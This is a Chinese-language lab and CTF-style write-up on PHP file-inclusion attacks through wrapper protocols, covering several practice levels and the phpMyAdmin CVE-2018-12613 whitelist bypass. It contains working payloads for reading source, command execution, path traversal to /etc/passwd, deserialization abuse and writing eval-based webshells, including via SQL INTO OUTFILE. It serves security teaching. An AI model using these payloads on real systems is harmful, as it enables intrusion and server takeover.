我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、文件包含—PHP封装伪协议简介
1、php内置封装协议
php内置有很多URL风格的封装协议,可用于fopen()、copy()、file_exists()和filesize()的文件系统函数。
2、data://命令执行-伪协议
(1)前提:
allow_url_fopen=on
allow_url_include=on
(2)payload:
?page=data:text/plain,<?php phpinfo();?>
?page=data:text/plain,<?php phpinfo()?>
?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
//注意:base64编码不能有分号
(3)示例:
3、zip://压缩流-伪协议
(1)解释:
先将要执行的PHP代码写入以phpcode.txt为名的文件,然后将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后再上传,其他几种压缩格式也可以这样操作。利用的格式为:zip://xxx/xxx/xxx/压缩包文件名(或重名后的文件名)%23写有php代码的文件
。
(2)payload:
?page=zip://C:/phpStudy/PHPTutorial/WWW/exp/include/include1/uploads/file.jpg%23phpcode.txt
(3)示例:
4、php://input输入输出流-伪协议
(1)前提:
allow_url_include=on
(2)payload:
?page=php://input
//同时post的原始数据会通过php://input数据流传入到page参数
(3)演示:
5、PHP封装伪协议总结
二、文件包含—PHP封装伪协议实战&示例
1、Less-5【php input伪协议】【代码审计】
(1)实验环境:
1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关
allow_url_fopen=off
allow_url_include=on
2.攻击主机:
(1)物理机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite
3.实验网络:
(1)Vmware的NAT连接
(2)靶机链接:
http://www.include.qwsn/exp/include/include2/input/bak/
(3)漏洞描述:
1.使用哪个文件包含函数?
2.以什么方式读取待包含文件?
3.攻击者对变量是否可控?
(4)漏洞分析:
1.0 漏洞点:index.php
1.1 关键源码分析:index.php
<html>
<title>Less-5:代码审计+php://input伪协议</title>
<!--并没有用到包含函数,当然也不算是文件包含题目了-->
<?php
header("Content-Type:text/html;charset=utf-8");
//防止中文乱码
$flag='php://input';
//定义一个$flag变量
extract($_GET);
//读取以GET形式获得的参数的参数值,由于$_GET是数组型变量,这里我们使
//用extract()进行自动的把数组中的每一个键值对转换为一个个的变量和变量
//值。若遇到与前面代码相同的变量,则默认覆盖掉前面的变量
if(isset($shiyan)){//验证是否提交$shiyan参数
$content=trim(file_get_contents($flag));
//读取文件名字为$flag的文件内容,并且读成一个字符串,再去掉首尾的空格,
//最后赋值给$content变量
if($shiyan==$content){//若$shiyan等于$content,则打印flag值
echo 'flag{php://input}';
}
else{
echo 'Oh.no';
}
}
?>
</html>
1.2 漏洞分析:
(1)这里并没有文件包含漏洞,这个只是一个代码审计题目
(2)但是可以用到php://input伪协议
(3)extract($_GET)可以对浏览器传入的数组的键值对参数,进行变量化,并且可以覆盖
前面已存在的变量
(4)file_get_contents($flag),可以读取某某文件的内容,然后读成一
个字符串。
//若文件名为空,则读取不到文件内容,则内容自然也是一个空的,则值也自
然是一个空字符串。
//奇葩姿势:若函数内我们不传入文件名,而是传入php://input伪协议,那么它自然也可以读取post原始数据,从而读成一个字符串
(5)注意:php://input本身就可以读取post原始数据,它对php的参数开关要求是:allow_url_include=on
(5)漏洞利用:
第一步:发现页面源码泄露了关键信息【首页存在备份文件】
1.0 测试:
1.浏览器访问:http://www.exploit.com/exp/include2/input/bak/
//页面回显404
2.打算右键查看一下源码,发现被禁止了,我们可以在URL栏最前面写入【view-
source:】进行查源码
//发现:<!-- 粗心的程序员,写完代码也不删。-->
1.1 分析
1.从当前页面的源码可以看出,这个只是一个index.html文件,且该页面的404也是自己写出来的
2.【<!-- 粗心的程序员,写完代码也不删。-->】
很有可能存在备份文件,并且一般的备份文件后缀为.bak或.back或www.zip或www.rar等
1.2 猜想
页面1:index.html
页面2:index.php
备份文件1:index.html.bak
备份文件2:index.php.bak
第二步:发现index.php.bak的源码信息
1.0 测试:
浏览器访问http://www.include.qwsn/exp/include/include1/input/bak/index.php.bak,右键发现以下注释信息
1.1 分析:
<?php
header("Content-Type:text/html;charset=utf-8");
$flag='xxx';
extract($_GET);
if(isset(($shiyan)){
$content=trim(file_get_contents($flag));
if($shiyan==$content){
echo 'flag{xxx}';
}
else{
echo 'Oh.no';
}
}
?>
1.2 猜想:
关键点1:$shiyan=$content=trim(file_get_contents($flag))
(1)覆盖$flag变量,传空值,让文件读取不到,内容自然为空字符串,然后把空赋值给$content,最后给$shiyan也传值空即可
(2)覆盖$flag变量,传值php://input,让其读取post传递的原始数据,比如123,然后再传给$content,最后再给$shiyan传值123即可
第三步:利用变量覆盖+file_get_contents()函数的特性
1.0 测试: 给$flag
赋值为空,也给$shiyan
赋值为空
payload:index.php?flag=&shiyan=
//页面回显:flag{php://input}
1.1 测试:给$flag
赋值为php://input,POST提交123,给$shiyan
赋值123
(6)漏洞修复:
关闭allow_url_include(允许远程文件包含)参数开关
(7)漏洞总结:
1.php://input伪协议,对php的一个参数做要求
allow_url_include=on
2.php://input伪协议,自动读取post提交的原始数据
2、Less-6【input filter伪协议【列出文件】【读取flag.php的源码】
(1)实验环境:
1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关
allow_url_fopen=off
allow_url_include=on
magic_quotes_gpc=off
2.攻击主机:
(1)物理机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite
3.实验网络:
(1)Vmware的NAT连接
(2)靶机链接:
http://www.include.qwsn/exp/include/include2/input/input+filter/
(3)漏洞描述:
1.使用哪个文件包含函数?
2.获取待包含文件的方式?
3.攻击者对变量是否可控?
(4)漏洞分析:
漏洞分析:
1.0 漏洞点:index.php
1.1 关键源码审计:index.php
<?php
header("Content-Type:text/html;charset=utf-8");//中文编码
show_source(__FILE__);//显示该页面的源码
if(isset($_REQUEST['path'])){
include($_REQUEST['path']);
}else{
include('phpinfo.php');
}
?>
1.2 漏洞分析:
1.使用哪个文件包含函数?
include()函数
2.获取待包含文件的方式?
以动态变量引入的方式获取待包含文件:include "$_REQUEST['path']";
3.攻击者对变量是否可控?
变量完全可控:$_REQUEST['path']
(5)漏洞利用:
第一步:直接发现文件包含漏洞
1.0 测试:
浏览器访问靶机链接,发现爆出了页面源码
1.1 分析:
<?php
header("Content-Type:text/html;charset=utf-8");//中文编码
show_source(__FILE__);//显示该页面的源码
if(isset($_REQUEST['path'])){
include($_REQUEST['path']);
}else{
include('phpinfo.php');
}
?>
1.2 信息收集:
allow_url_include=on
【我们可以使用php://input伪协议】
1.3 分析
1.这里虽然可以使用远程文件包含,但是为了学习伪协议,所以这里就不赘叙了!!!
第二步:利用文件包含漏洞【php://input伪协议】【列目录读源码】/【php://input+filter】【列目录读取源码】
1.0 测试:结和BP,利用php://input伪协议列出当前目录的内容
【php://input伪协议对allow_url_include=on做要求】
payload:
GET内容:?path=php://input
POST内容:<?=system(dir);?>
1.1 测试:结和BP,利用php://input伪协议读取flag.php源码
【php://input伪协议对allow_url_include=on做要求】
payload:
GET内容:?path=php://input
POST内容:<?php system(show_source('flag.php'));?>
POST内容:<?=system(highlight_file('flag.php'));?>
1.2 可以直接读取flag.php页面源码的姿势2:php://filter直接读取base64编码后的源码
【php://filter伪协议对php参数开关不做要求】
payload:?path=php://filter/read=convert.base64-encode/resource=flag.php
payload2:?path=php://filter/convert.base64-encode/resource=flag.php
base64解码后得到:
第三步:php:input写入shell
getshell的方式:
php://input
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[123]);?>');?>
//必须要magic_quotes_gpc=off,才能成功的蚁剑连接我们的一句话
(6)漏洞修复:
关闭allow_url_include(允许远程文件包含)参数开关
开启magic_quotes_gpc(魔术字防护)参数开关
(7)漏洞总结:
1.使用哪个文件包含函数?
include()函数
2.以什么方式读取待包含文件?
以动态变量引入的方式获取待包含文件:include "$_REQUEST['path']";
3.攻击者对变量是否可控?
变量完全可控:$_REQUEST['path']
4.php://input伪协议,只对php的一个参数开关做要求
allow_url_include=on
5.php://input伪协议,可以读取浏览器以POST形式传递的原始数据,并且以php来解析执行它,若只是普通的字符串,则会正常读取字符串
6.读取源码的方式1:
php://input
<?php system(show_source('flag.php'));?>
<?php system(highlight_file('flag.php'));?>
7.读取源码的方式2:
php://filter/read=convert.base64-encode/resource=flag.php
8.getshell的方式:
php://input
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[123]);?>');?>
//必须要magic_quotes_gpc=off,才能成功的蚁剑连接我们的一句话
3、Less-7【input filter伪协议】【读取首页源码】【代码审计getshe】
(1)实验环境:
1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关
allow_url_fopen=off
allow_url_include=on
2.攻击主机:
(1)物理机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite
3.实验网络:
(1)Vmware的NAT连接
(2)靶机链接:
http://www.include.qwsn/exp/include/include2/filter/filter+input/
(3)漏洞描述:
1.使用哪个文件包含函数?
2.获取待包含文件的方式?
3.攻击者对变量是否可控?
(4)漏洞分析:
1.0 漏洞点:index.php+tips.php
1.1 关键源码审计:index.php+tips.php
1.2 漏洞分析:
1.使用哪个文件包含函数?
include()函数
2.获取待包含文件的方式?
以动态变量引入的方式获取待包含文件:include "$file";
3.攻击者对变量是否可控?
变量不完全可控:
if(strstr($file,"../")||stristr($file,"tp")||stristr($file ,"input")||stristr($file,"data")||stristr($file,"phar")){
echo "0h no!";
exit();
}
$file = $_GET['file']
//strisstr是strstr函数的忽略大小写版本
(5)漏洞利用:
第一步: 发现文件包含动作【?file=show.php】
1.0 测试:
浏览器访问靶机链接,点击超链接发现存在文件包含动作
//发现页面上存在一个超链接
1.1 分析:
发现了文件包含特征:?file=show.php
第二步:测试文件包含漏洞【读源码】
1.0 测试:经过尝试不能使用php://input来列出当前目录下的文件
1.1 尝试使用php://filter伪协议首页页面的源码
payload:?file=php://filter/read=convert.base64-encode/resource=index.php
1.2 base64解码得到:flag值和tips.php
PGh0bWw+DQo8dGl0bGU+cXdzbjwvdGl0bGU+DQo8aDM+TGVzcy0377ya6K+7ZmxhZz8gZ2V0c2hlbGw/PC9oMz4NCg0KPD9waHANCgloZWFkZXIoIkNvbnRlbnQtVHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCIpOw0KCWVycm9yX3JlcG9ydGluZygwKSA7DQoJaWYoISRfR0VUW2ZpbGVdKXtlY2hvICc8YSBocmVmPSIuL2luZGV4LnBocD9maWxlPXNob3cucGhwIj5jbGljayBtZT8gbm88L2E+Jzt9DQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsNCglpZihzdHJzdHIoJGZpbGUsIi4uLyIpfHxzdHJpc3RyKCRmaWxlLCAidHAiKXx8c3RyaXN0cigkZmlsZSAsImlucHV0Iil8fHN0cmlzdHIoJGZpbGUgLCJkYXRhIil8fHN0cmlzdHIoJGZpbGUsInBoYXIiKSl7DQoJCWVjaG8gIjBoIG5vISI7DQoJCWV4aXQoKTsNCgl9DQoJaW5jbHVkZSgkZmlsZSk7DQovL2ZsYWc6ZmxhZ3tlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0NCi8vdGlwcy5waHANCj8+DQo8L2h0bWw+DQo=
<html>
<title>qwsn</title>
<h3>Less-7:读flag? getshell?</h3>
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0) ;
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file ,"input")||stristr($file ,"data")||stristr($file,"phar")){
echo "0h no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
//tips.php
?>
</html>
1.3 使用php://filter读取tips.php源码得到:
payload:?file=php://filter/read=convert.base64-encode/resource=tips.php
1.4 base64解码得到:
PD9waHANCmhlYWRlcigiQ29udGVudC1UeXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7DQoNCiRwYXJhbSA9ICRfUkVRVUVTVFsncGFyYW0nXTsNCmlmKHN0cmxlbigkcGFyYW0pPDE3ICYmIHN0cmlwb3MoJHBhcmFtLCdldmFsJykgPT09IGZhbHNlICYmIHN0cmlwb3MoJHBhcmFtLCdhc3NlcnQnKSA9PT0gZmFsc2UpIHsNCglldmFsKCRwYXJhbSk7DQovL2luZGV4LnBocA0KfQ0KPz4NCg==
<?php
header("Content-Type:text/html;charset=utf-8");
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
eval($param);
//index.php
//stripos — 查找字符串首次出现的位置(不区分大小写)
//eval()函数内的字符串都可以被php解析执行,其实就是在解析的时候,自动加了一个<?php ?>的结构
}
?>
第三步:利用tips.php页面的文件包含漏洞【getshell】
1.0 测试:利用tips.php页面的文件包含漏洞,手工闭合eval()函数,进行执行相应的php代码。
【eval()函数内的字符串都可以被php解析执行,其实就是在解析的时候,自动加了一个<?php ?>的结构】【因此可以使用手工闭合】【注意eval函数必须以分号结尾】
手工闭合php结构-payload:?param=?><?=phpinfo();
//页面回显成功
1.1 测试:利用tips.php页面的文件包含漏洞,利用eval()函数构造一个包含,再去包含php://input,传入wshell,蚁剑连接写入的shell.php。
1.GET内容:构造一个文件包含
?param=include$_GET[1];&1=php://input
2.POSTDATA内容:
<?php echo'success!!!';fputs(fopen('shell.php','w'),'<?php phpinfo();eval(\$_POST[123]);?>');?>
1.2 测试:构造GET传参,使用echo打印结构
打印执行系统命令的结果:?param=echo%20`$_GET[1]`;&1=ipconfig
//``反引号可以命令执行
(6)漏洞修复建议:
1.对用户传入的动态变量做细致过滤
(7)漏洞总结:
1.使用哪个文件包含函数?
include()函数
2.以什么方式读取待包含文件?
以动态变量引入的方式获取待包含文件:include "$file";
3.攻击者对变量是否可控?
变量完全可控:$file = $_REQUEST['file']
4.php://input,对php的一个参数开关做要求
allow_url_include=on
5.eval($_REQUEST['param'])的利用方法:
(1)手工闭合php结构:?param=?><?phpinfo();
(2)构造文件包含:?param=include$_GET[1];&1=php://input
(3)打印执行系统命令的结果:?param=echo%20`$_GET[1]`;&1=dir
6.eval()函数
eval() 函数把字符串按照 PHP 代码来计算,以就是套用一个php格式<?php ?>
该字符串必须是合法的 PHP 代码,且eval()函数必须以分号结尾,即eval();。
4、Less-8【php代码审计】【php伪协议+php序列化+魔术方法】
1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关
allow_url_fopen=off
allow_url_include=on
2.攻击主机:
(1)物理机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite
3.实验网络:
(1)Vmware的NAT连接
(2)靶机链接:
http://www.include.qwsn/exp/include/include2/input+filter/
(3)漏洞描述:
1.使用哪个文件包含函数?
2.获取待包含文件的方式?
3.攻击者对变量是否可控?
(4)漏洞分析:
略
(5)漏洞利用:
第一步: 浏览器访问该题目链接,http://www.include.qwsn/exp/include/include2/input+filter/index.php
,发现如下页面,给出提示该关卡,需要提前掌握代码审计、php伪协议、序列化、魔术方法等知识点。但是我们还看到了一句化:【you arenot admin !】【没有任何头绪】
第二步: 一遇到不会的,就查看页面源码,发现了一段关键的注释,现在我们来解读以下的代码
<!--
$user = $_GET["txt"];
//以GET形式读取浏览器传递的txt参数的参数值,并且赋值给user变量
$file = $_GET["file"];
//以GET形式读取浏览器传递的file参数的参数值,并且赋值给file变量
$pass = $_GET["password"];
//以GET形式读取浏览器传递的password参数的参数值,并且赋值给pass变量
if(isset($user)&&(file_get_contents($user,'r')==="the user
is admin"))
//检测user变量是否已设置并且不为NULL值,其实就是在检测是否以GET形式提交了txt参数【若使用 isset() 测试一个被设置成 NULL 的变量,将返回FALSE,
//注意NULL是一个php中的常量,需要大写的哦。】
//file_get_contents($user,'r')函数读取文件名为user变量值的文件,并且把文件内容读成一个字符串,而只要这个字符串等于”the user is admin“,
//条件就会成立。但是呢,我们又没有文件来读取,该怎么办呢?这里就要利用php://input伪协议的特点,它能够读取post提交的原始数据。只要我们把$user
//替换成php://input,然后post提交the user is admin即可。所以我们的txt参数的参数值要提交的内容是:php://input,这样就可以赋值个user变量了。
{ //if条件成立后:
echo "hello admin!<br>"; //打印出hello admin
include($file); //hint.php //提示包含文件hint.php
}
else
{ //若if条件不成立,则打印you are not admin !
echo "you are not admin ! ";
}
!-->
第三步: 经过上一步对代码的解读,我们尝试绕过if条件,包含hint.php的源码
1.0 结合Burpsuite拦截,送入Repeater测试,先Go一下,发现回显you are admin ,说明不满足if条件
1.1 我们构造payload,绕过if提交,再go一次,发现回显:hello admin,说明成功的绕过了if条件
payload:
GET内容:?txt=php://input
POSTDATA:the user is amdin
1.2 再次构造payload,这次我们通过GET传参给变量file,让文件包含函数include,读取hint.php的base64编码后的源码。
payload:
GET内容:?txt=php://input&file=php://filter/convert.base64-encode/resource=hint.php
POSTDATA:the user is admin
base64解码得到:我们得到了一个f1a9g.php的文件名,我们可以尝试包含
<?php
class Flag{//f1a9.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
第四步: 尝试包含f1a9g.php文件,利用php://filter读取其base64编码后的源码
payload:
GET内容:?txt=php://input&file=php://filter/convert.base64-encode/resource=f1a9.php
POSTDATA:the user is admin
第五步: 既然我们不能获得f1a9.php的源码,那我们还是再解读一下第三步中的源码,经过解读后,这里有一个__tostring()魔术方法,该魔术方法,只要打印了当前类的实例化对象,就会触发这个方法执行,同时只要满足方法里面的if条件,就会以字符串形式echo出该文件的内容【还没什么头绪】
<?php
class Flag //定义一个以Flag为名的类
{ //fl9g.php
public $file; //定义一个属性file,相当于变量
public function __tostring()
{ //定义魔术方法,相当于一个触发函数
if(isset($this->file))
{//在类中调用属性file
echo file_get_contents($this->file);
//读取file文件的内容,读成以个字符型,打印出来
echo "<br>";
return ("good");
}
}
}
?>
第六步: 我们尝试读取index.php首页的源码,毕竟我们刚刚包含f1a9.php文件,被绕过了,那么首页中应该会有if条的限制
payload:
GET内容:?txt=php://input&file=php://filter/convert.base64-encode/resource=index.php
POSTDATA:the user is admin
base64解码后得到:
<html>
<h3>Less-8:php代ç 审计+php伪åè®®+åºåˆ—化+é”术方法</h3>
</html>
<?php
header("Content-Type:text/html;charset=utf-8");
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!" . '<br />';
if(preg_match("/f1a9/",$file)){
echo "ä¸èƒ½çŽ°åœ¨ç»™ä½ f1a9哦";
exit();
} else {
include($file);
$password = unserialize($pass);
echo $password;
}
} else {
echo "you are not admin ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
!-->
第七步: 对上一步读取的首页源码进行解读…经过解读我们发现,我们只要一旦用file变量里面有f1a9的字样,就会退出该if条件句。所以说我们不能通过文件包含函数include()来直接读取fl9g.php的源码。关键的是还有一个pass变量,它经过了反序列后,打印了出来【注意这个打印,只要我们打印了Flag类的一个对象就会,触发hint.php里面的__tostring()方法,然后经过if条件判断后,打印出来一个文件的内容。】
<?php
header("Content-Type:text/html;charset=utf-8");
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!" . '<br />';
if(preg_match("/f1a9/",$file)){
echo "ä¸èƒ½çŽ°åœ¨ç»™ä½ f1a9哦";
exit();
} else {
include($file);
$password = unserialize($pass);
echo $password;
}
} else {
echo "you are not admin ! ";
}
?>
第八步: 我们实例化一个Flag类的对象,然后打印这个对象的序列化字符串,然后通过password参数传递给pass变量,然后经过反序列化赋值给password变量然后通过echo $password
,从而触tostring()魔术方法,然后tostring()魔术方法,会开始检测$file属性的值,这里我们设置的是fl9g.php,然后它会利用
file_get_contents()函数以字符串形式打印出f1a9.php的文件内容。
第九步:提交payload,打印f1a9.php页面内容
payload:
GET内容:?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"f1a9.php";}
POSTDATA:the user is admin
附: 若读不出来,可能是flag不是注释内容,我们可以通过修改构造序列化对象的时候,给对象的属性重新赋值,赋值为php://filter/read=convert.base64-encode/resource=f1a9.php,重新运行,得到新的序列化对象字符串。
然后我们可以尝试这个payload:
payload:
GET内容:?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}
POSTDATA:the user is admin
base64解码得到:
PD9waHANCi8vZmxhZ19YZHtoU2hfY3RmOmVAc3l0MGdldH0NCj8+
<?php
//flag_Xd{hSh_ctf:e@syt0get}
?>
(6)漏洞修复:
略
(7)漏洞总结:
略
5、Less-9【file伪协议】
(1)实验环境:
1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关
allow_url_fopen=off
allow_url_include=off
2.攻击主机:
(1)物理机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite
3.实验网络:
(1)Vmware的NAT连接
(2)靶机链接:
http://www.include.qwsn/exp/include/include2/file/index.php
(3)漏洞利用:
第一步: 访问靶机链接http://www.include.qwsn/exp/include/include2/file/index.php
,查看源码
第二步:base32解码传送门,进行解码
第三步: 经过测试,必须要使用file://文件头来访问资源,同时必须是绝对路径
payload:
?page=file://C:\phpStudy\PHPTutorial\WWW\exp\include\include2\file\f1a9.qwsn
6、Less-10【墨者学院】【phpMyAdmin后台文件包含分析溯源】
(1)实验环境:
1.注册并且登录墨者学院:【https://www.mozhe.cn/】
2.找到文件包含漏洞,启动靶场环境【https://www.mozhe.cn/bug/detail/RDM4VFA0aHFWT25Na09mdmhqcklxdz09bW96aGUmozhe】
(2)靶机链接:
http://219.153.49.228:随机端口号
(3)漏洞描述:
1.难易程度:墨者学院一颗星
2.漏洞分类:phpMyAdmin后台文件包含分析溯源
3.phpmyadmin版本:4.8.0/4.8.1
4.漏洞编号:CVE-2018-12613
(4)漏洞分析:
1.0 漏洞点:
(1)phpmyadmin/index.php【文件包含漏洞】
(2)phpmyadmin/libraries/classes/Core.php【白名单检测函数】
1.1 index.php关键源码:50行到63行
//定义了一个target参数值的黑名单
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
//条件1:以request形式传递target参数值
&& is_string($_REQUEST['target'])
//条件2:target参数值必须要是字符串类型
&& ! preg_match('/^index/', $_REQUEST['target'])
//条件3:target参数值的头部必须不能是index
&& ! in_array($_REQUEST['target'], $target_blacklist)
//条件4:target参数值不能是黑名单里面的字符串【即不能是import.php和export.php文件名】
&& Core::checkPageValidity($_REQUEST['target'])
//条件5:target参数值要经过Core页面的checkPageValidity函数的检查
) {
include $_REQUEST['target'];
//若同时满足以上的if的5个条件:则文件包含以request传递的文件名
exit;
}
1.2 Core.php关键源码:443-476行和31到80行
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
//如果白名单为空,则把我们写好的白名单赋值给该函数内的白名单变量,也就是初始化白名单吧
if (! isset($page) || !is_string($page)) {
return false;
}
//如果参数值没有提交,或者不是字符串类型的,返回函数检查失败
if (in_array($page, $whitelist)) {
return true;
}
//如果参数值是白名单里面的一条内容,返回函数检查正确
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//我们给传递的参数值$page在最后面拼接一个?,
//再从左边第一位开始查询,直到查到第一个?为止,截取?前的整个字符串值再赋值给$_page,
//$page还是原来传递的值,这个操作其实就是在提取我们传递的整个参数值
//但是,由于我们得知了,它是在查询到第一个?后,截取第一个?前的所有字符串,那我们就可以手动的添加一个?,
//那么$_page还是在白名单里面,而$page可以填入我们想要包含的任意文件名了【绕过白名单机制】
if (in_array($_page, $whitelist)) {
return true;
}
//如果我们传递的参数值经过截取后,是白名单的内容,则返回true
$_page = urldecode($page);
//对我们传递的参数值进行url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//我们给传递的参数值在最后面拼接一个?,
//再从左边第一位开始查询,直到查到?为止,截取?前的整个字符串赋值给$_page,
//但是$page还是原来传递的值,其实就是在提取我们传递的参数值
//但是,由于我们得知了,它是在查询到第一个?后停止截取字符串,那我们就可以手动的添加一个?,来绕过白名单了。
//【注意了:由于URL栏的字符串会被自动编码,但是呢,若我们提前编码,就会免去url栏的自动编码,然后传到web服务器后又自动解码一次,
//但是这个函数内又解码了一次,所以说我们一开始要编码两次。】
if (in_array($_page, $whitelist)) {
return true;
}
//如果我们传递的参数值经过截取后,是白名单的内容则返回true
return false;
}
//下面就是提前定义的白名单内容,我们随机用一个比如:sql.php
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
(4)漏洞分析:
(5)漏洞利用:读取key值
第一步:
浏览器访问,http://219.153.49.228:43452/index.php
//使用弱口令:root/root账号密码登录进去
第二步: 由于index.php有一个include文件包含,且include函数内的文件名是以request方式提交的,其中参数名是target,我们随便尝试一下。
http://219.153.49.228:43452/index.php?target=/etc/passwd
//发现毫无变化,很正常啊,因为我们并不在白名单里面啊
第三步: 由于我们分析过了源码,首页有文件包含漏洞,我们尝试文件包含一个白名
单中的文件。
http://219.153.49.228:43452/index.php?target=sql.php
//发现并没有报错,且页面变化了,这里为空,只是这个sql.php页面为空罢了
第四步: 我们再次尝试包含一个白名单的文件,比如server_variables.php文件
http://219.153.49.228:43452/index.php?target=server_variables.php
//发现,页面返回了我们包含文件的内容,也就是服务器变量和设置,说明只要是白名单里面的内容都可以进行包含
第五步: 我们尝试绕过check函数的白名单检测机制,同时包含/etc/passwd文件
http://219.153.49.228:44341/index.php?target=sql.php?../../../../../../etc/passwd
//绕过成功,包含出了/etc/passwd文件
第六步: 直接文件包含根目录下的key.txt
http://219.153.49.228:43452/index.php?target=sql.php?../../../../../../../../../key.txt
//key.txt:mozhe81c3f19a33741a01eebbe6515c8
到这里本该结束了,还是再测试getshell吧
(6)漏洞利用:getshell
【重启了靶机,端口换了】【http://219.153.49.228:44978 】
getshell姿势1: 利用查询语句和intou outfile向网站根目录下写入一句话木马===》蚁剑刀连接 【成功】
1.随便选中一个数据库
2.点击页面上边的SQL,执行查询指令
3.查看当前用户权限:show grants;
//发现有root权限
4.利用into outfile写入一句话木马:
select "<?php eval($_POST['123']);?>" into outfile "/var/www/html/shell.php";
#写入成功
5.蚁剑连接即可
getshell姿势2: 利用查询语句会记录到session文件中,我们查询一个创建一句话木马的文件,
包含session文件从而创建一个语句话木马—》蚁剑连接 【部分成功】
1.sql查询:select '<?php phpinfo();?>';
2.火狐浏览器键入f12,进入开发者模式的network,再次依次sql查询,查看session值是:c29g4km7ina21sqdalj2ceebnck9p7fn
//注意cookie里面有session值,也就是如下所示:
//Set-Cookie: phpMyAdmin=c29g4km7ina21sqdalj2ceebnck9p7fn; path=/; HttpOnly
3.session默认存储位置是:/tmp/sess_session值
//此时也就是:/tmp/sess_c29g4km7ina21sqdalj2ceebnck9p7fn
4.由于session里面存储了我们的php探针,我们浏览器访问该session即可
http://219.153.49.228:44978/index.php?target=sql.php?../../../../../tmp/sess_c29g4km7ina21sqdalj2ceebnck9p7fn
#如下图所示,成功的解析了,但是呢我们通过php探针并看到session.save_path的值为空,说明管理员把session的保存位置给置空了吧
5.只要把sql查询语句查询的内容改为在网站根目录下创建一个一句话木马的文件即可,再包含该session文件,就可以解析执行从而创建一句话木马了
//蚁剑连接一句话木马即可getshell,但是我们会发现,会被解析错误,所以不可以getshell
//如下所示:
//select "<?php fputs(fopen('shell2.php','w'),'<?php eval($_POST[123]);?>');?>";
//权限不足
php探针:
wshell:
getshell姿势3: 向字段内写入shell===》包含.frm文件 【未成功】
1.创建库、表、字段、写入字段值:<?php phpinfo();?>
create database shell;
use shell;
create table users(id varchar(50));
insert into users(id) values('<?php phpinfo();?>');
2.查看mysql数据库的数据存放路径:
select @@datadir;
//发现路径:/var/lib/mysql/
3.浏览器访问该表结构users.frm,若该文件存在,即可执行php探针内容:
http://219.153.49.228:44978/index.php?target=sql.php?../../../../../var/lib/mysql/shell/users.frm
#发现报错,说明不可以,这里经过排错,发现是因为/var/lib/mysql下并没存储frm文件,啧啧啧,
#但是windows环境应该可以的,之后再把php探针换成一句话木马即可getshell
